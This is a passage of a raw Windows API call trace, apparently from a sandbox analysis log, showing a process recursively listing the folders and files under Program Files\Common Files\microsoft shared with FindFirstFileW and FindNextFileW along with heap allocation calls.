ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="Triedit", cAlternateFileName="")) returned 1 [0276.722] GetProcessHeap () returned 0xaf0000 [0276.722] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.723] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.723] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.723] GetProcessHeap () returned 0xaf0000 [0276.723] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a9288 [0276.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.723] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.723] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0276.723] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.723] GetProcessHeap () returned 0xaf0000 [0276.723] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a9288 | out: hHeap=0xaf0000) returned 1 [0276.723] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0276.723] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.723] GetProcessHeap () returned 0xaf0000 [0276.724] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.724] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="VC", cAlternateFileName="")) returned 1 [0276.724] GetProcessHeap () returned 0xaf0000 [0276.724] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.724] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.724] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0276.724] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0276.724] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0276.724] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.725] GetProcessHeap () returned 0xaf0000 [0276.725] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.725] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="VGX", cAlternateFileName="")) returned 1 [0276.725] GetProcessHeap () returned 0xaf0000 [0276.725] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.725] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.725] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0276.725] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0276.726] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.726] GetProcessHeap () returned 0xaf0000 [0276.726] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.726] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="VSTO", cAlternateFileName="")) returned 1 [0276.726] GetProcessHeap () returned 0xaf0000 [0276.726] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3699280 [0276.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0276.726] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.726] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0276.726] GetProcessHeap () returned 0xaf0000 [0276.726] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a9288 [0276.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0276.728] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.728] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0276.728] GetProcessHeap () returned 0xaf0000 [0276.728] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b9290 [0276.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.729] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.729] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0276.729] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0276.729] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0276.729] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.729] GetProcessHeap () returned 0xaf0000 [0276.729] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b9290 | out: hHeap=0xaf0000) returned 1 [0276.729] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0276.729] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0276.729] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0276.729] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0276.730] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0276.730] GetProcessHeap () returned 0xaf0000 [0276.730] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a9288 | out: hHeap=0xaf0000) returned 1 [0276.730] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0276.731] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0276.731] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0276.731] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0276.731] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0276.731] GetProcessHeap () returned 0xaf0000 [0276.731] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3699280 | out: hHeap=0xaf0000) returned 1 [0276.732] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b2, cFileName="VSTO", cAlternateFileName="")) returned 0 [0276.732] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0276.732] GetProcessHeap () returned 0xaf0000 [0276.732] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0276.733] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Services", cAlternateFileName="")) returned 1 [0276.733] GetProcessHeap () returned 0xaf0000 [0276.733] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 